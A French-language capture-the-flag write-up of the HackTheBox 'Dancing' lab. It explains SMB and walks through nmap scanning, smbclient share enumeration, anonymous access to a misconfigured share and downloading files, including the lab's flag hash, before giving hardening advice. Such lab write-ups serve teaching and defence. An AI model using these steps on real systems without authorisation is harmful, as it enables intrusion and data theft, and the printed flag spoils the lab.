Dancing - HackTheBox Starting Point
Informations générales
| Propriété | Valeur |
|---|---|
| Difficulté | ⭐ Très facile |
| OS | Windows |
| Catégorie | Starting Point - Tier 0 |
| Compétences | SMB, Partages réseau, Énumération Windows |
| Auteur | 0ne-nine9 |
Vue d'ensemble
Dancing introduit le protocole SMB (Server Message Block), un protocole fondamental dans les environnements Windows pour le partage de fichiers, imprimantes et ressources réseau. Ce challenge enseigne :
- Les bases du protocole SMB et son fonctionnement
- L'énumération de partages réseau avec
smbclient - L'exploitation de configurations Anonymous/Guest mal sécurisées
- La navigation et l'exfiltration de données via SMB
Qu'est-ce que SMB ?
Définition
SMB (Server Message Block) est un protocole de communication réseau permettant l'accès partagé aux fichiers, imprimantes et ports série entre différents hôtes d'un réseau.
Caractéristiques principales
| Caractéristique | Description |
|---|---|
| Port par défaut | 445/TCP (SMB), 139/TCP (NetBIOS over TCP/IP) |
| Couches OSI | Application / Présentation |
| Transport | NetBIOS over TCP/IP (NBT) |
| Système d'exploitation | Principalement Windows, aussi Samba sur Linux |
| Usage typique | Partage de fichiers en entreprise, accès aux imprimantes |
Architecture Client-Serveur
┌─────────┐ ┌─────────┐
│ Client │ ──── Requêtes SMB ───────────────> │ Serveur │
│ │ │ SMB │
│ │ <─── Réponses + Données ────────── │ │
└─────────┘ └─────────┘
│ │
│ ├── Shares (Partages)
│ ├── Authentification
└── Navigation, Download, Upload └── Gestion des permissions
Modèle OSI et SMB
SMB fonctionne aux couches supérieures du modèle OSI et s'appuie sur des protocoles de transport de niveau inférieur :
┌──────────────────────────┐
│ 7. Application Layer │ ← SMB Protocol
├──────────────────────────┤
│ 6. Presentation Layer │ ← SMB Protocol
├──────────────────────────┤
│ 5. Session Layer │
├──────────────────────────┤
│ 4. Transport Layer │ ← NetBIOS over TCP/IP
├──────────────────────────┤
│ 3. Network Layer │
├──────────────────────────┤
│ 2. Data Link Layer │
├──────────────────────────┤
│ 1. Physical Layer │
└──────────────────────────┘
Partages SMB (Shares)
Un partage SMB (share) est un espace de stockage réseau accessible via le protocole SMB.
Types de partages
Partages administratifs Windows (créés automatiquement) :
ADMIN$: Accès administratif aux volumes disquesC$,D$: Partages administratifs des lecteursIPC$: Inter-Process Communication (non navigable, pipes nommés)
Partages personnalisés :
- Créés manuellement par les administrateurs
- Peuvent avoir des permissions mal configurées
Problèmes de sécurité courants
Authentification Guest/Anonymous
Les administrateurs peuvent par erreur autoriser :
- ✅ Guest accounts : Comptes invités avec accès minimal
- ✅ Anonymous logons : Connexions sans authentification
- ❌ Risque : Accès non autorisé aux données sensibles
Vulnérabilités
| Vulnérabilité | Description | Impact |
|---|---|---|
| Null Session | Connexion sans credentials | Énumération d'utilisateurs, partages |
| Guest Access | Accès invité activé | Lecture/écriture de fichiers sensibles |
| Permissions faibles | ACL mal configurées | Escalade de privilèges |
| SMBv1 | Protocole obsolète | Vulnérable à EternalBlue, DoublePulsar |
Phase 1 : Énumération
Vérification de connectivité
Testons d'abord la connexion avec la cible :
ping <TARGET_IP>
Stoppez avec CTRL+C après quelques réponses réussies.
Scan Nmap
Lançons un scan avec détection de version :
sudo nmap -sV <TARGET_IP>
Résultat attendu :
Starting Nmap 7.92 at 2021-09-24 20:20 BST
Nmap scan report for <TARGET_IP>
Host is up (0.056s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Analyse des résultats
| Port | Service | Signification |
|---|---|---|
| 135/tcp | MSRPC | Microsoft RPC (Remote Procedure Call) |
| 445/tcp | microsoft-ds | SMB - Service de partage de fichiers |
Phase 2 : Énumération SMB avec smbclient
Installation de smbclient
Si smbclient n'est pas installé :
sudo apt-get install smbclient
Aide et syntaxe
Consultez l'aide pour comprendre les options :
smbclient --help
Syntaxe de base :
smbclient -L <TARGET_IP>
| Flag | Description |
|---|---|
-L | Liste les partages disponibles sur l'hôte |
-N | Pas de mot de passe (optionnel) |
-U | Spécifier un nom d'utilisateur |
Liste des partages
Énumérons les partages SMB disponibles :
smbclient -L <TARGET_IP>
Prompt de mot de passe :
Enter WORKGROUP\{username}'s password:
⚠️ Note importante : Si vous ne spécifiez pas de nom d'utilisateur avec -U, smbclient utilisera votre nom d'utilisateur local. Dans notre cas, laissez le mot de passe vide (appuyez sur Entrée).
Résultat :
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
SMB1 disabled -- no workgroup available
Description des partages découverts
| Partage | Type | Description | Accessible ? |
|---|---|---|---|
ADMIN$ | Disk | Partage administratif - accès distant à tous les volumes | ❌ Nécessite admin |
C$ | Disk | Partage administratif du lecteur C:\ (système) | ❌ Nécessite admin |
IPC$ | IPC | Inter-Process Communication (pipes nommés) | ⚠️ Non navigable |
WorkShares | Disk | Partage personnalisé (créé manuellement) | ✅ À tester ! |
Phase 3 : Exploitation (Foothold)
Tentative de connexion aux partages
Testons l'accès à chaque partage en laissant le mot de passe vide.
Tentative 1 : ADMIN$
smbclient \\\\<TARGET_IP>\\ADMIN$
Résultat :
Enter WORKGROUP\{username}'s password:
tree connect failed: NT_STATUS_ACCESS_DENIED
❌ Accès refusé - Nécessite des privilèges administrateur.
Tentative 2 : C$
smbclient \\\\<TARGET_IP>\\C$
Résultat :
Enter WORKGROUP\{username}'s password:
tree connect failed: NT_STATUS_ACCESS_DENIED
❌ Accès refusé - Nécessite des privilèges administrateur.
Tentative 3 : WorkShares
smbclient \\\\<TARGET_IP>\\WorkShares
Résultat :
Enter WORKGROUP\{username}'s password:
Try "help" to get a list of possible commands.
smb: \>
✅ Succès ! Le partage WorkShares est mal configuré et permet l'accès anonyme sans credentials !
Navigation dans le partage SMB
Une fois connecté, le prompt change en smb: \>. Vous êtes maintenant dans un shell SMB interactif.
Commandes SMB essentielles
Tapez help pour voir toutes les commandes disponibles :
smb: \> help
Commandes principales :
| Commande | Description | Équivalent Linux |
|---|---|---|
ls | Liste les fichiers et dossiers | ls |
cd <dir> | Change de répertoire | cd |
get <file> | Télécharge un fichier | cp (download) |
put <file> | Upload un fichier | cp (upload) |
pwd | Affiche le répertoire courant | pwd |
exit | Quitte le shell SMB | exit |
Exploration du partage
Listons le contenu du partage :
smb: \> ls
Résultat :
. D 0 Mon Mar 29 09:22:01 2021
.. D 0 Mon Mar 29 09:22:01 2021
Amy.J D 0 Mon Mar 29 10:08:24 2021
James.P D 0 Thu Jun 3 09:38:03 2021
3803903 blocks of size 4096. 566033 blocks available
Nous voyons deux dossiers utilisateurs : Amy.J et James.P.
Exploration du dossier Amy.J
smb: \> cd Amy.J
smb: \Amy.J\> ls
Résultat :
. D 0 Mon Mar 29 10:08:24 2021
.. D 0 Mon Mar 29 10:08:24 2021
worknotes.txt A 94 Fri Mar 26 11:00:37 2021
Un fichier worknotes.txt ! Téléchargeons-le :
smb: \Amy.J\> get worknotes.txt
Résultat :
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.2 KiloBytes/sec)
(average 0.2 KiloBytes/sec)
✅ Fichier téléchargé dans votre répertoire local actuel.
Exploration du dossier James.P
Retournons au répertoire racine et explorons le dossier de James :
smb: \Amy.J\> cd ..
smb: \> ls
smb: \> cd James.P
smb: \James.P\> ls
Résultat :
. D 0 Thu Jun 3 09:38:03 2021
.. D 0 Thu Jun 3 09:38:03 2021
flag.txt A 32 Mon Mar 29 10:26:57 2021
🎯 Le flag ! Téléchargeons-le :
smb: \James.P\> get flag.txt
Résultat :
getting file \James.P\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec)
(average 0.2 KiloBytes/sec)
Sortie du shell SMB
Quittons le shell SMB :
smb: \James.P\> exit
Phase 4 : Exfiltration et lecture des fichiers
Les fichiers téléchargés se trouvent dans le répertoire où vous avez lancé smbclient.
Vérification des fichiers
ls
Résultat :
flag.txt Starting-Point worknotes.txt
Lecture du worknotes.txt
cat worknotes.txt
Contenu :
- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing
💡 Ce fichier contient des notes de travail mentionnant d'autres services à configurer. Dans un véritable pentest, ces informations seraient précieuses pour le mouvement latéral.
Lecture du flag
cat flag.txt
Résultat :
5f61c10dffbc77a704d76016a22f1664
🎉 Flag capturé ! Soumettez ce hash sur la page HackTheBox pour valider le challenge.
Concepts clés appris
1. Protocole SMB
- Architecture : Client-serveur pour partage de ressources
- Ports : 445/TCP (SMB), 139/TCP (NetBIOS)
- Usage : Principalement dans les environnements Windows
2. Types de partages
- Administratifs : ADMIN$, C$, D$ (accès privilégié requis)
- IPC$ : Communication inter-processus (non navigable)
- Personnalisés : Créés manuellement, souvent mal configurés
3. Vulnérabilités de configuration
- Anonymous access : Connexion sans mot de passe
- Guest accounts : Comptes invités mal sécurisés
- Permissions faibles : ACL trop permissives
4. Outils d'énumération
- smbclient : Client SMB en ligne de commande
- nmap : Détection de services SMB
- enum4linux : Énumération avancée (non utilisé ici)
Commandes récapitulatives
# Vérifier la connectivité
ping <TARGET_IP>
# Scanner les ports avec détection de services
sudo nmap -sV <TARGET_IP>
# Lister les partages SMB disponibles
smbclient -L <TARGET_IP>
# Se connecter à un partage spécifique
smbclient \\\\<TARGET_IP>\\WorkShares
# Commandes dans le shell SMB
ls # Lister les fichiers
cd <directory> # Changer de répertoire
get <filename> # Télécharger un fichier
pwd # Répertoire courant
exit # Quitter
# Lire les fichiers téléchargés
cat flag.txt
Bonnes pratiques de sécurité
Ce qu'il NE faut PAS faire
❌ Autoriser l'accès Guest/Anonymous aux partages sensibles ❌ Utiliser SMBv1 (vulnérable à EternalBlue) ❌ Exposer les partages ADMIN$ et C$ sans restriction ❌ Laisser des permissions trop permissives sur les partages personnalisés
Recommandations
✅ Désactiver l'accès Guest sur tous les partages ✅ Utiliser SMBv3 avec chiffrement ✅ Implémenter des ACL strictes (principe du moindre privilège) ✅ Auditer régulièrement les permissions des partages ✅ Segmenter le réseau pour limiter l'accès aux partages sensibles
Pour aller plus loin
Ressources recommandées
- HTB Academy - Windows Fundamentals : Comprendre Windows et SMB
- HTB Academy - Network Services Enumeration : Énumération avancée
- Microsoft SMB Protocol Documentation : Documentation officielle
Outils complémentaires
- enum4linux : Énumération complète SMB/CIFS
- CrackMapExec : Framework d'exploitation réseau
- Impacket : Suite d'outils Python pour SMB
- smbmap : Énumération de partages avec permissions
Prochaines étapes
Continuez votre apprentissage avec les autres challenges Tier 0 :
- Fawn : Exploitation FTP
- Redeemer : Bases de données Redis
Questions de révision
- Quel est le port par défaut de SMB ?
- Quelle est la différence entre ADMIN$ et un partage personnalisé ?
- Pourquoi IPC$ n'est-il pas navigable ?
- Qu'est-ce qu'une connexion Anonymous ?
- Quelle commande permet de lister les partages disponibles ?
Félicitations ! Vous avez maîtrisé les bases de l'énumération et exploitation SMB. Ce protocole est omniprésent dans les environnements d'entreprise et sera rencontré fréquemment lors de vos pentests. 🎯
Write-up rédigé à des fins éducatives. Pratique autorisée uniquement sur des systèmes dont vous avez l'autorisation.